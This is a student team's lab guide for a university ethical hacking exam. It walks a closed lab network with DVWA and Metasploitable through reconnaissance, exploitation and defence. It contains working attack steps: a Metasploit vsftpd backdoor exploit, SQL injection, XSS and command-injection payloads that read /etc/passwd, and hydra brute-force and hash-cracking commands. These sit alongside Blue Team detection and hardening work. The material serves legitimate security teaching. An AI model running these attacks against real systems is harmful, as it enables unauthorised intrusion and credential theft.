

CYS 4151 Ethical Hacking Lab

Post-Configuration Execution Guide — Tasks 2–13

SecureTech Solutions Ltd. — Enterprise Security Assessment

Scope. This guide picks up once the lab network described in *CYS 4151 Lab Network Configuration* is live: pfSense routing at 192.168.50.1, every client bridged with a verified static IP, and connectivity confirmed end to end. It walks **Tasks 2–13** of *CYS 4151 Final Examination, Setting A, Summer 2026* in execution order, with the command for each step, which team member runs it, the Red/Blue Team intent behind it, and the expected outcome.

Lab Team

PC1 Marshall

PC2 Fahdil

PC3 Rayan

PC4 Bruno

PC5 Amina

Contents

1	How to Use This Guide	2
1.1	Before You Start Any Task	2
2	Task 2 — Reconnaissance & Asset Discovery (4 marks)	3
3	Task 3 — Service Enumeration (4 marks)	4
4	Task 4 — Threat Modeling & Risk Identification (4 marks)	5
5	Task 5 — Vulnerability Assessment (6 marks)	6
6	Task 6 — Controlled Exploitation / Initial Access (6 marks)	7
7	Task 7 — Web Application Security Assessment (6 marks)	8
8	Task 8 — Credential Security Assessment (4 marks)	9
9	Task 9 — Privilege Escalation & Persistence Analysis (5 marks)	10
10	Task 10 — Post-Exploitation & Lateral Movement Analysis (5 marks)	11
11	Task 11 — Blue Team Investigation: Traffic & Logs (5 marks)	12
12	Task 12 — Security Hardening & Incident Response (5 marks)	13
13	Task 13 — Professional Penetration Testing Report (11 marks)	14
14	Final Submission Checklist	15

1 How to Use This Guide

Each task below states, in order: **who** runs it (by nickname/team badge), the **strategy** driving that step (Red Team's attack intent or Blue Team's defensive intent), the **command(s)** with inline comments, and the **expected outcome** — what the output should show and what it justifies doing next. Commands shown for Kali/Linux hosts assume a bash shell as root or with sudo where needed. All IPs match *CYS 4151 Lab Network Configuration*: pfSense gateway 192.168.50.1; Suricata-on-Kali IDS 192.168.50.200 (hosted on PC1 with Marshall); Fahdil's Windows 10 workstation 192.168.50.10; Rayan's server host 192.168.50.20 with nested DVWA/Juice Shop 192.168.50.30 and Metasploitable 192.168.50.40; Bruno's Kali attacker 192.168.50.100; Amina's OpenVAS-on-Kali scanner 192.168.50.250.

Red Team Roster

PC4 Bruno — primary attacker platform, drives most offensive commands. **PC3 Rayan** — hosts the shared vulnerable targets and joins Bruno for exploitation, privilege escalation, and lateral-movement analysis once the network is confirmed live.

Blue Team Roster

PC1 Marshall — pfSense firewall/ACL owner and the Suricata IDS operator (PC1 hosts both VMs). **PC2 Fahdil** — hardens and audits the workstation asset. **PC5 Amina** — runs OpenVAS vulnerability scanning and CVSS triage.

1.1 Before You Start Any Task

1. Set hostname and desktop clock visibly (top corner) on every VM you record — required overlay for all 13 tasks.
2. Confirm hostname and date/time on each VM before recording.

Confirm identity overlay prerequisites

```
hostnamectl  
date
```

1. Create an evidence folder structure on your host machine and save into the matching folder immediately, not at the end of the day.

Evidence folder structure

```
mkdir -p ~/CYS4151/Screenshots/Task-{02..13}  
mkdir -p ~/CYS4151/Videos/Task-{02..13}
```

Recording checklist

Confirm every recording tool (OBS, VirtualBox's own capture, or a phone tripod on the physical screen) shows your Student ID and name overlay before you press record — check this once, not per task.

2 Task 2 — Reconnaissance & Asset Discovery (4 marks)

Runs on: **PC4 Bruno** (Kali, PC4). **Goal:** discover every live host on 192.168.50.0/24 and build the asset inventory table.

Red Team Strategy

Bruno's opening move is a wide, low-noise sweep first (host discovery only, no port scan) to map who exists before touching anything — this limits the footprint Blue Team's IDS sees in the first pass. Only after the asset map is built does he escalate to per-host fingerprinting (-A), expecting pfSense/Suricata logging to pick this up from here on.

Host discovery sweep

```
# find every live IP on the subnet without touching any ports yet
nmap -sn 192.168.50.0/24
```

OS/service fingerprint pass per discovered host

```
nmap -A 192.168.50.1 -oN scan_pfsense.txt # gateway/firewall
nmap -A 192.168.50.10 -oN scan_workstation.txt # Fahdil's Windows 10 workstation
nmap -A 192.168.50.20 -oN scan_server.txt # Rayan's server host
nmap -A 192.168.50.30 -oN scan_dvwa.txt # nested DVWA/Juice Shop
nmap -A 192.168.50.40 -oN scan_metasploitable.txt
nmap -A 192.168.50.200 -oN scan_suricata.txt # Marshall's IDS sensor (PC1)
nmap -A 192.168.50.250 -oN scan_openvas.txt # Amina's OpenVAS scanner (PC5)
```

Expected Outcome

The -sn sweep reports 7 hosts up. Each -A scan returns open ports, service versions, and a guessed OS — record IP, MAC vendor, guessed OS, and open ports per host into the asset inventory table (feeds Task 13's Asset Inventory deliverable). This output tells Bruno which hosts are worth enumerating further in Task 3, and tells Marshall/Amina (Blue Team) what a baseline recon sweep looks like in their logs for comparison in Task 11.

Video/Screenshot

VIDEO — start recording before the nmap -sn sweep, narrate expected vs. actual host count, stop after the last -A scan. **SCREENSHOT** — the -sn output, and one -A output per host, overlay visible.

3 Task 3 — Service Enumeration (4 marks)

Runs on: **PC4 Bruno** (Kali, PC4). **Goal:** identify service versions, protocols, and web technologies on each target to justify which entry points to attack.

Red Team Strategy

With the asset map from Task 2 in hand, Bruno narrows focus to the hosts that matter for exploitation — Rayan’s server/target stack — and goes deep: every port, every version, every script-assisted enumeration. The DVWA/web stack gets its own fingerprinting pass since Task 7 depends on knowing exactly what is running there.

Full deep port/version scan against server and web targets

```
nmap -sV -sC -p- 192.168.50.20 192.168.50.30 192.168.50.40 -oN full_scan.txt
```

Fingerprint the web app stack

```
whatweb 192.168.50.30  
curl -I http://192.168.50.30
```

Targeted NSE scripts against Metasploitable services

```
nmap --script=smb-enum-shares -p445 192.168.50.40  
nmap --script=ftp-anon -p21 192.168.50.40
```

Expected Outcome

-sV -sC -p- returns the full version/service table for all three hosts (expect FTP, SSH, Telnet, SMTP, HTTP, SMB and MySQL-class services on the Metasploitable target). whatweb/curl return the web server banner and DVWA’s login page headers. The SMB/FTP NSE scripts report whether shares are browsable and whether anonymous FTP is enabled — both are Task 5/6 candidate findings if so.

Video/Screenshot

VIDEO — record the full -sV -sC -p- scan (narrate what each open port could mean while it runs) plus the whatweb/curl step. **SCREENSHOT** — version/service table per target, and the header output for the web app.

4 Task 4 — Threat Modeling & Risk Identification (4 marks)

Runs on: whole team (documentation task, no new commands). **Goal:** turn Task 2/3 findings into a structured threat model.

1. List critical assets (customer data on the server, the web app, employee credentials) and map each to the vulnerabilities/open services found so far.
2. Identify plausible attacker profiles (external opportunist, disgruntled employee, credential-stuffing bot) and their likely attack vector per asset.
3. Draft a simple STRIDE or asset-threat-impact table for the Task 13 report.

Video/Screenshot

VIDEO — optional but recommended: a short narrated walkthrough of the threat/risk table, overlay visible, to cover the one-video-per-task rule. **SCREENSHOT** — the completed threat model/risk table.

5 Task 5 — Vulnerability Assessment (6 marks)

Runs on: **PC5 Amina** (OpenVAS-on-Kali, PC5, 192.168.50.250). **Goal:** run automated scanning and confirm at least 5 vulnerabilities with severity ratings, cross-checked manually.

Blue Team Strategy

Amina scans proactively, independent of whatever Bruno/Rayan are doing, so Blue Team has its own evidence of what is wrong *before* Red Team confirms it by exploiting it. A Full and Fast scan against the whole target set gives breadth; the manual cross-checks (searchsploit, vulners) add depth and double-source each finding, which strengthens the CVSS justification in the final report.

Start the GVM/OpenVAS stack and reach the web UI

```
sudo gvm-start  
# then open https://192.168.50.250:9392 in the browser
```

1. In the OpenVAS UI, create a target list (192.168.50.20, 192.168.50.30, 192.168.50.40), then launch a **Full and Fast** scan against it (GUI step, no CLI equivalent).
2. Once complete, export the results sorted by CVSS severity (**Scan Results** → **Export** → CSV/PDF).

Cross-check at least 2 findings manually

```
searchsploit apache 2.4  
nmap -sV --script=vulners 192.168.50.30
```

Expected Outcome

The scan dashboard lists findings sorted High → Low with CVSS scores. Select and document at least 5 with supporting evidence (scan detail page screenshot). searchsploit/vulners output either corroborates a scanner finding (strengthens it) or surfaces something the automated scan missed — either way, feed the confirmed list into Task 6's exploit selection.

Difficulty encountered building PC5

See *CYS 4151 Lab Network Configuration*, Section 9, for the disk-space exhaustion we hit building this scanner (not a VRAM issue) and how we resolved it — not repeated here to avoid duplication.

Video/Screenshot

VIDEO — record scan setup/target configuration, then the results dashboard sorted by severity.
SCREENSHOT — scan configuration, results dashboard, and the CVSS detail page for each of the 5+ selected vulnerabilities.

6 Task 6 — Controlled Exploitation / Initial Access (6 marks)

Runs on: **PC4 Bruno** (Kali, PC4), targeting Rayan’s nested Metasploitable host. **Goal:** exploit one confirmed vulnerability from Task 5 to gain access.

Red Team Strategy

This is the centerpiece demo. Bruno picks the clearest, most defensible finding from Task 5 (a known Metasploitable2 backdoor is the cleanest teaching example) rather than the flashiest one, because the report needs a clean, explainable attack path: vulnerability → exploit → access → why it worked.

Launch Metasploit and search for a matching module

```
msfconsole
search type:exploit vsftpd
```

Configure and run the exploit

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.50.40
set PAYLOAD cmd/unix/interact
run
```

Verify access immediately

```
whoami
id
hostname
```

Expected Outcome

The exploit returns an interactive shell; `whoami/id` confirm the effective user on `192.168.50.40`. Document the full attack path for Task 13 and keep this session open — Task 9 escalates privileges from exactly this foothold.

Video/Screenshot

VIDEO — start recording before opening `msfconsole`; capture module selection, exploit execution, and the moment access is confirmed — do not cut this clip, it is the strongest evidence in the report.
SCREENSHOT — `msfconsole` exploit configuration (show options), the successful shell prompt, and the `whoami/id` output.

7 Task 7 — Web Application Security Assessment (6 marks)

Runs on: **PC4 Bruno** (Kali, PC4) against Rayan’s DVWA host (192.168.50.30). **Goal:** demonstrate at least 2 OWASP Top 10 vulnerabilities.

Red Team Strategy

Independent of the Metasploitable foothold, Bruno treats the web app as its own attack surface — this is deliberate: a real attacker rarely stops after one entry point, and the exam explicitly scores this as a separate task from Task 6.

1. Log in to DVWA and set the security level to **low** under DVWA Security (clean teaching demo).

SQL Injection payload

```
' OR '1'='1
```

Reflected/stored XSS payload

```
<script>alert('XSS')</script>
```

Alternative second class: Command Injection

```
127.0.0.1; whoami  
127.0.0.1 && cat /etc/passwd
```

Expected Outcome

The SQLi payload returns extra rows/data beyond the intended single record (data extraction). The XSS payload pops an alert box when the page renders the unescaped input. The command-injection payloads append their output (username, or /etc/passwd contents) to the page’s normal output. Screenshot each payload and its result *separately* — one screenshot per vulnerability, not one for both.

Video/Screenshot

VIDEO — one continuous clip (or two clearly separated) showing each vulnerability: payload entry → submission → visible proof of exploitation. **SCREENSHOT** — before/after for each vulnerability.

8 Task 8 — Credential Security Assessment (4 marks)

Runs on: **PC4 Bruno** (attack, Kali PC4) against Fahdil’s and Rayan’s hosts; **PC2 Fahdil** (policy review, PC2).

Goal: audit password policy weaknesses and demonstrate a password attack.

Red Team Strategy

Bruno treats weak/default/reused credentials as the lowest-effort path to access, consistent with the scenario’s own incident list (“employees using weak or reused passwords”). Brute-forcing DVWA’s login and SSH on Metasploitable both target accounts with no lockout policy — exactly the gap Blue Team is asked to close.

Brute-force the DVWA login form

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.50.30 \
  http-post-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^\"
&Login=Login:Login failed"
```

Brute-force SSH on the Metasploitable target

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.50.40
```

Crack a captured password hash

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
```

Expected Outcome

hydra reports a recovered valid credential pair once it matches a weak entry in the wordlist (fast against rockyou.txt because these are intentionally weak lab accounts). john/hashcat report the cracked plaintext for any captured hash. Each successful crack is direct evidence for the policy weaknesses Fahdil documents next.

Blue Team Strategy

PC2 Fahdil reviews the workstation’s local account policy (or the DVWA/service login policy) and records concrete weaknesses observed from the attack above: no lockout threshold, no complexity rule, default credentials still active. Recommendations: enforce lockout after N failed attempts, minimum complexity, and MFA where the platform supports it — feeds directly into Task 12’s hardening plan.

Video/Screenshot

VIDEO — record the hydra/john run from launch to a successful cracked credential, with the policy weakness explained in narration. **SCREENSHOT** — the password policy weakness (config/settings page) and the successful brute-force/crack output.

9 Task 9 — Privilege Escalation & Persistence Analysis (5 marks)

Runs on: **PC4 Bruno** & **PC3 Rayan** (from the Task 6 session on 192.168.50.40). **Goal:** escalate from low-privilege access to admin/root, and discuss (without deploying) persistence mechanisms.

Red Team Strategy

From the foothold gained in Task 6, Red Team enumerates escalation paths rather than guessing — SUID binaries, sudo misconfiguration, and kernel version are the three fastest wins on an intentionally old target like Metasploitable2.

Enumerate escalation paths

```
sudo -l
find / -perm -4000 -type f 2>/dev/null
uname -a
```

Search for a matching local privilege-escalation exploit

```
searchsploit linux kernel 2.6
```

Execute and confirm elevated access

```
id
whoami
```

Expected Outcome

find ... -perm -4000 lists SUID binaries; one of them (or a kernel exploit matched by searchsploit) yields root. id/whoami after escalation show uid=0(root). Discuss — in the report/narration only, do not deploy — how an attacker could persist afterwards: a cron job, a scheduled task, an added user account, or a planted SSH key.

Video/Screenshot

VIDEO — record enumeration through confirmed root/admin access; narrate the persistence discussion since it is not executed live. **SCREENSHOT** — enumeration output showing the escalation vector, and the confirmed elevated-privilege prompt.

10 Task 10 — Post-Exploitation & Lateral Movement Analysis (5 marks)

Runs on: **PC4 Bruno** & **PC3 Rayan** (from the escalated session on 192.168.50.40). **Goal:** show what an attacker could reach next from the compromised host.

Red Team Strategy

Red Team treats the compromised Metasploitable host as a pivot point, not an endpoint — the question is what it can reach that Bruno’s own Kali box cannot directly, which is the realistic shape of lateral movement in a segmented network.

Enumerate the internal network view from the compromised host

```
arp -a
netstat -antp
cat /etc/hosts
ip route
```

Identify and use a pivot target

```
proxychains nmap -sT 192.168.50.0/24
ssh -L 8080:192.168.50.250:80 user@192.168.50.40
```

Expected Outcome

arp -a/netstat reveal hosts and connections visible only from inside the compromised machine’s vantage point. If pfSense’s ACL (see *Lab Network Configuration*, rule 5) is working as designed, the proxychains sweep should *not* reach hosts outside the declared Target_Hosts alias — document this as evidence the segmentation rule holds even after a target is compromised.

Video/Screenshot

VIDEO — record the enumeration commands and, if performed, the pivot/tunnel setup and resulting access. **SCREENSHOT** — internal enumeration output and, if performed, evidence of reaching (or being blocked from) the second host.

11 Task 11 — Blue Team Investigation: Traffic & Logs (5 marks)

Runs on: **PC1 Marshall** (Suricata-on-Kali, PC1, 192.168.50.200). **Goal:** capture and analyze evidence of the Red Team’s activity from the defensive side.

Blue Team Strategy

Marshall’s Suricata sensor sits in promiscuous mode on the LAN backbone (see *Lab Network Configuration*, Section 5), so it sees Bruno and Rayan’s traffic regardless of which host they attack from or to. The goal is to show the same attack twice: once from the attacker’s shell (Tasks 6–10) and once from the defender’s packet/log evidence here — this pairing is what makes detection credible in the final report.

Live packet capture during/alongside an earlier attack

```
tshark -i eth0 -w capture.pcap
```

Filter for the relevant traffic signature

```
tshark -r capture.pcap -Y "http.request or tcp.flags.syn==1"
# Wireshark GUI filter bar: ip.addr==192.168.50.30 and tcp.flags.syn==1
```

Live Suricata alerts matching the same activity

```
sudo tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Matching evidence from target-side logs

```
tail -f /var/log/auth.log
# Windows: Event Viewer > Windows Logs > Security, or:
wevtutil qe Security /f:text /c:20
```

Expected Outcome

The filtered Wireshark/tshark view isolates the SYN floods and HTTP requests from Bruno’s scans/exploitation. `eve.json` shows matching Suricata alert objects timestamped to the same window. The target’s own `auth.log/Security` event log shows the corresponding failed/successful login entries. Explain, in the report, how this traffic/log pattern would be detected and alerted on in production.

Video/Screenshot

VIDEO — record the live capture running alongside (or replaying) the attack, then the filtered Wireshark view and the matching log entries. **SCREENSHOT** — filtered capture showing the attack signature, and the corresponding log entries.

12 Task 12 — Security Hardening & Incident Response (5 marks)

Runs on: **PC1 Marshall** (pfSense rule, PC1); **PC2 Fahdil** (workstation hardening, PC2); **PC5 Amina** (findings list, PC5). **Goal:** produce the remediation plan built from everything found in Tasks 5–11.

Blue Team Strategy

Blue Team closes the loop: every confirmed finding from Task 5 (OpenVAS) and every successful attack path from Tasks 6–10 gets a specific, named fix here, not a generic “patch everything” statement — this is what turns the assessment into an actionable report rather than just a list of scary findings.

1. For each vulnerability/finding, write a specific hardening step (patch version, disable unused service, enforce password policy).

Demonstrate patch management as evidence of remediation

```
sudo apt update && sudo apt upgrade -y
```

1. Add a pfSense firewall rule addressing a Task 5/6 finding (e.g. restrict access to the vulnerable service to only the hosts that legitimately need it) — GUI step under **Firewall** → **Rules** → **LAN** → **Add**, following the same ordered-rule method used in *Lab Network Configuration*, Section 10. Screenshot the rule as configured.

Optional host-level firewall hardening on a Linux target

```
sudo ufw allow from 192.168.50.0/24 to any port 22
sudo ufw enable
```

Expected Outcome

apt upgrade shows the target packages moving to patched versions (re-run the Task 3 service scan afterward to confirm the version string changed). The new pfSense rule appears in **Diagnostics** → **States** the next time that service is reached, with the narrower source/destination match now visible. ufw status confirms the host-level rule is active.

1. Write a brief incident response workflow: detection → containment → eradication → recovery → lessons learned, tied back to the Task 11 detection evidence (which Suricata alert / log entry triggered each stage).

Video/Screenshot

VIDEO — optional: a short narrated walkthrough of the pfSense rule being added, plus the remediation plan on screen. **SCREENSHOT** — the pfSense rule configuration screen, and the completed hardening/IR plan document.

13 Task 13 — Professional Penetration Testing Report (11 marks)

Runs on: whole team (compilation and writing, no new hands-on-keyboard work). **Goal:** assemble everything above into the final deliverable.

1. Structure the report: Executive Summary, Scope, Methodology (reference PTES/NIST SP 800-115/OWASP Testing Guide as stated in the exam), Findings, Risk Ratings, Evidence, Business Impact, Recommendations, Conclusion.
2. Pull in the Network Architecture Diagram (*Lab Network Configuration*, Figure 1), Asset Inventory (Task 2), Vulnerability Assessment Report (Task 5), Risk Register (Task 4/12), and Security Hardening Plan (Task 12) as clearly labeled sections or appendices.
3. Insert the best screenshot per task into the relevant findings section, captioned with the task number.
4. Proofread for the overlay requirement across all video evidence before final submission — spot-check timestamps in at least 3 videos.

Note

No new video is required for this task itself, since it is the compiled write-up of Tasks 1–12.

Expected Outcome

SCREENSHOT — final report title page and table of contents, confirming all required sections/appendices are present, for your own submission checklist.

14 Final Submission Checklist

- Professional Penetration Testing Report (PDF)
- Network Architecture Diagram
- Asset Inventory
- Vulnerability Assessment Report
- Risk Register
- Security Hardening Plan
- Screenshots supporting every task (organized by Task-02 ...Task-13 folders)
- One video per task (organized the same way), each showing name, Student ID, hostname, username, and live date/time throughout
- Source files where applicable (scan exports, Wireshark .pcap, scripts used)

Overlay Reminder

Full legal name, Student ID, hostname, active username, and live system date/time must be visible on screen for the whole clip. Keep narration continuous — no cuts.